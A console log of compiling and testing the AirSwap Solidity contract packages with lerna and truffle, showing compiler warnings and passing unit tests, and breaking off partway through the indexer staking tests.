./build lerna info run Ran npm script 'clean' in '@airswap/swap' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/deployer' in 0.3s: $ rm -rf ./build && rm -rf ./flatten lerna info run Ran npm script 'clean' in '@airswap/delegate' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/pre-swap-checker' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/wrapper' in 0.3s: $ rm -rf ./build lerna success run Ran npm script 'clean' in 9 packages in 1.3s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker $ lerna run compile lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run compile" lerna info run Ran npm script 'compile' in '@airswap/tokens' in 10.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/AdaptedERC721.sol > Compiling ./contracts/AdaptedKittyERC721.sol > Compiling ./contracts/ERC1155.sol > Compiling ./contracts/FungibleToken.sol > Compiling ./contracts/IERC721Receiver.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/MintableERC1155Token.sol > Compiling ./contracts/NonFungibleToken.sol > Compiling ./contracts/OMGToken.sol > Compiling ./contracts/OrderTest721.sol > Compiling ./contracts/WETH9.sol > Compiling ./contracts/interfaces/IERC1155.sol > Compiling ./contracts/interfaces/IERC1155Receiver.sol > Compiling ./contracts/interfaces/IWETH.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/tokens/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/types' in 10.8s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Types.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol> Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/types/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/transfers' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/TransferHandlerRegistry.sol > Compiling ./contracts/handlers/ERC1155TransferHandler.sol > Compiling ./contracts/handlers/ERC20TransferHandler.sol > Compiling ./contracts/handlers/ERC721TransferHandler.sol > Compiling ./contracts/handlers/KittyCoreTransferHandler.sol > Compiling ./contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling ./contracts/interfaces/ITransferHandler.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/transfers/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/deployer' in 4.3s: $ truffle compile Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. lerna info run Ran npm script 'compile' in '@airswap/indexer' in 13.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Index.sol > Compiling ./contracts/Indexer.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/DelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimentalfeatures on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/indexer/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/swap' in 14.1s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Swap.sol > Compiling ./contracts/interfaces/ISwap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC1155TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC721TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/KittyCoreTransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/swap/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/pre-swap-checker' in 11.7s: $ truffle compile Compiling your contracts...=========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/PreSwapChecker.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/contracts/PreSwapChecker.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/delegate' in 13.0s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Delegate.sol > Compiling ./contracts/DelegateFactory.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IDelegate.sol > Compiling ./contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/Delegate.sol:18:1: Warning: Experimentalfeatures are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/delegate/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/wrapper' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/HelperMock.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Wrapper.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/WETH9.sol > Compiling @airswap/tokens/contracts/interfaces/IWETH.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/Wrapper.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/HelperMock.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/wrapper/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna success run Ran npm script 'compile' in 9 packages in 62.4s:lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run test" lerna info run Ran npm script 'test' in '@airswap/order-utils' in 1.4s: $ mocha test Orders ✓ Checks that a generated order is valid Signatures ✓ Checks that a Version 0x45: personalSign signature is valid ✓ Checks that a Version 0x01: signTypedData signature is valid 3 passing (27ms) lerna info run Ran npm script 'test' in '@airswap/transfers' in 10.1s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: TransferHandlerRegistry Unit Tests Test fetching non-existent handler ✓ test fetching non-existent handler, returns null address Test adding handler to registry ✓ test adding, should pass (87ms) Test adding an existing handler from registry will fail ✓ test adding an existing handler will fail (119ms) Contract: TransferHandlerRegistry Deploying... ✓ Deployed TransferHandlerRegistry contract (56ms) ✓ Deployed test contract "AST" (55ms) ✓ Deployed test contract "MintableERC1155Token" (71ms) ✓ Test adding transferHandler by non-owner reverts (46ms) ✓ Set up TokenRegistry (561ms) Minting ERC20 tokens (AST)... ✓ Mints 1000 AST for Alice (67ms) Approving ERC20 tokens (AST)... ✓ Checks approvals (Alice 250 AST (62ms) ERC20 TransferHandler ✓ Checks balances and allowances for Alice and Bob... (99ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (136ms) ✓ Checks remaining balances and approvals were not updated in failed transfer (86ms) ✓ Adding an id with ERC20TransferHandler will cause revert (51ms) ERC721 and CKitty TransferHandler ✓ Deployed test ERC721 contract "ConcertTicket" (70ms) ✓ Deployed test contract "CKITTY" (51ms) ✓ Carol initiates an ERC721 transfer of ConcertTicket #121 tokens from Alice to Bob (224ms) ✓ Carol fails to perform transfer of ConcertTicket #121 from Bob to Alice when an amount is set (103ms) ✓ Mints a kitty collectible (#54321) for Bob (78ms) ✓ Bob approves KittyCoreHandler to transfer his kitty collectible (47ms) ✓ Carol fails to perform transfer of CKITTY collectable #54321 from Bob to Alice when an amount is set (79ms) ✓ Carol initiates a transfer of CKITTY collectable #54321 from Bob to Alice (72ms) ERC1155 TransferHandler ✓ Mints 100 of Dragon game token (#10) for Alice (65ms) ✓ Check the Dragon game token (#10) balance prior to transfer (39ms) ✓ Alice approves ERC115TransferHandler to transfer all the her ERC1155 tokens (38ms) ✓ Carol initiates an ERC1155 transfer of Dragon game token (#10) from Alice to Bob (107ms) 26 passing (4s) lerna info run Ran npm script 'test' in '@airswap/types' in 9.2s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./test/MockTypes.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/types/test/MockTypes.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Types Unit TestsTest hashing functions within the library ✓ Test hashOrder (163ms) ✓ Test hashDomain (56ms) 2 passing (2s) lerna info run Ran npm script 'test' in '@airswap/indexer' in 26.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol Contract: Index Unit Tests Test constructor ✓ should setup the linked locators as just a head, length 0 (48ms) Test setLocator ✓ should not allow a non owner to call setLocator (91ms) ✓ should not allow a blank locator to be set (49ms) ✓ should allow an entry to be inserted by the owner (112ms) ✓ should insert subsequent entries in the correct order (230ms) ✓ should insert an identical stake after the pre-existing one (281ms) ✓ should not be able to set a second locator if one already exists for an address (115ms) Test updateLocator ✓ should not allow a non owner to call updateLocator (49ms) ✓ should not allow update to non-existent locator (51ms) ✓ should not allow update to a blank locator (121ms) ✓ should allow an entry to be updated by the owner (161ms) ✓ should update the list order on updated score (287ms) Test getting entries ✓ should return the entry of a user (73ms) ✓ should return empty entry for an unset user Test unsetLocator ✓ should not allow a non owner to call unsetLocator (43ms) ✓ should leave state unchanged for someone who hasnt staked (100ms) ✓ should unset the entry for a valid user (230ms) Test getScore ✓ should return no score for a non-user (101ms) ✓ should return the correct score for a valid user Test getLocator ✓ should return empty locator for a non-user (78ms) ✓ should return the correct locator for a valid user (38ms) Test getLocators ✓ returns an array of empty locators ✓ returns specified number of elements if < length (267ms) ✓ returns only length if requested number if larger (198ms) ✓ starts the array at the specified starting user (190ms) ✓ starts the array at the specified starting user - longer list (543ms) ✓ returns nothing for an unstaked user (205ms) Contract: Indexer Unit Tests Check constructor ✓ should set the staking token address correctly Test createIndex ✓ createIndex should emit an event and create a new index (51ms) ✓ createIndex should create index for same token pair but different protocol (101ms) ✓ createIndex should just return an address if the index exists (88ms) Test addTokenToBlacklist and removeTokenFromBlacklist ✓ should not allow a non-owner to blacklist a token (47ms) ✓ should allow the owner to blacklist a token (56ms) ✓ should not emit an event if token is already blacklisted (73ms) ✓ should not allow a non-owner to un-blacklist a token (40ms) ✓ should allow the owner to un-blacklist a token (128ms) Test setIntent ✓ should not set an intent if the index doesnt exist (72ms) ✓ should not set an intent if the locator is not whitelisted (185ms) ✓ should not set an intent if a token is blacklisted (323ms) ✓ should not set an intent if the staking tokens arent approved (266ms) ✓ should set a valid intent on a non-whitelisted indexer (165ms) ✓ should set 2 intents for different protocols on the same market (325ms) ✓ should set a valid intent on a whitelisted indexer (230ms) ✓ should update an intent if the user has already staked - increase stake (369ms) ✓ should fail updating the intent when transfer of staking tokens fails (713ms) ✓ should update an intent if the user has already staked - decrease stake (397ms) ✓ should update an intent if the user has already staked - same stake (371ms) Test unsetIntent ✓ should not unset an intent if the index doesnt exist (44ms) ✓ should not unset an intent if the intent does not exist (146ms) ✓ should successfully unset an intent (294ms) ✓ should revert if unset an intent failed in token transfer (387ms) Test getLocators ✓ should return blank results if the index doesnt exist ✓ should return blank results if a token is blacklisted (204ms) ✓ should otherwise return the intents (758ms) Test getStakedAmount.call ✓ should return 0 if the index does not exist ✓ should retrieve the score on a token pair for a user (208ms) Contract: Indexer Deploying... ✓ Deployed staking token "AST" (39ms) ✓ Deployed trading token "DAI" (43ms) ✓ Deployed trading token "WETH" (45ms) ✓ Deployed Indexer contract (52ms) Index setup ✓ Bob creates a index (collection of intents) for WETH/DAI, LIBP2P (68ms) ✓ Bob tries to create a duplicate index (collection of intents) for WETH/DAI, LIBP2P (54ms)✓ Bob tries to create another index for WETH/DAI, but for Delegates (58ms) ✓ The owner can set and unset a locator whitelist for a locator type (397ms) ✓ Bob ensures no intents are on the Indexer for existing index (54ms) ✓ Bob ensures no intents are on the Indexer for non-existing index ✓ Alice attempts to stake and set an intent but fails due to no index (53ms) Staking ✓ Alice attempts to stake with 0 and set an intent succeeds (76ms) ✓ Alice attempts to unset an intent and succeeds (64ms) ✓ Fails due to no staking token balance (95ms) ✓ Staking tokens are minted for Alice and Bob (71ms) ✓ Fails due to no staking token allowance (102ms) ✓ Alice and Bob approve Indexer to spend staking tokens (64ms) ✓ Checks balances ✓ Alice attempts to stake and set an intent succeeds 